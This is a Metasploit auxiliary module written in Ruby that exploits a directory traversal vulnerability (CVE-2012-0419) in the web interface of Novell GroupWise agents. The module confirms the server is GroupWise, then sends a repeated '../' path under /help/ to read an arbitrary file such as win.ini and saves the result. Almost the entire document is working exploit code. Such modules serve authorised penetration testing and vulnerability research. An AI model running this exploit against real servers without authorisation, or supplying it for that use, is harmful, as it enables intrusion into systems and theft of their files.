Novell Groupwise Agents HTTP Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell Groupwise Agents HTTP Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability in Novell Groupwise.
        The vulnerability exists in the web interface of both the Post Office and the
        MTA agents. This module has been tested successfully on Novell Groupwise 8.02 HP2
        over Windows 2003 SP2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'r () b13$', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0419' ],
          [ 'OSVDB', '85801' ],
          [ 'BID', '55648' ],
          [ 'URL', 'https://support.microfocus.com/kb/doc.php?id=7010772' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(7181), # Also 7180 can be used
        OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
        OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10])
      ])
  end

  def is_groupwise?
    res = send_request_raw({'uri'=>'/'})
    if res and res.headers['Server'].to_s =~ /GroupWise/
      return true
    else
      return false
    end
  end

  def run_host(ip)

    if not is_groupwise?
      vprint_error("#{rhost}:#{rport} - This isn't a GroupWise Agent HTTP Interface")
      return
    end

    travs = ""
    travs << "../" * datastore['DEPTH']

    travs = normalize_uri("/help/", travs, datastore['FILEPATH'])

    vprint_status("#{rhost}:#{rport} - Sending request...")
    res = send_request_cgi({
      'uri'          => travs,
      'method'       => 'GET',
    })

    if res and res.code == 200
      contents = res.body
      fname = File.basename(datastore['FILEPATH'])
      path = store_loot(
        'novell.groupwise',
        'application/octet-stream',
        ip,
        contents,
        fname
      )
      print_good("#{rhost}:#{rport} - File saved in: #{path}")
    else
      vprint_error("#{rhost}:#{rport} - Failed to retrieve file")
      return
    end
  end
end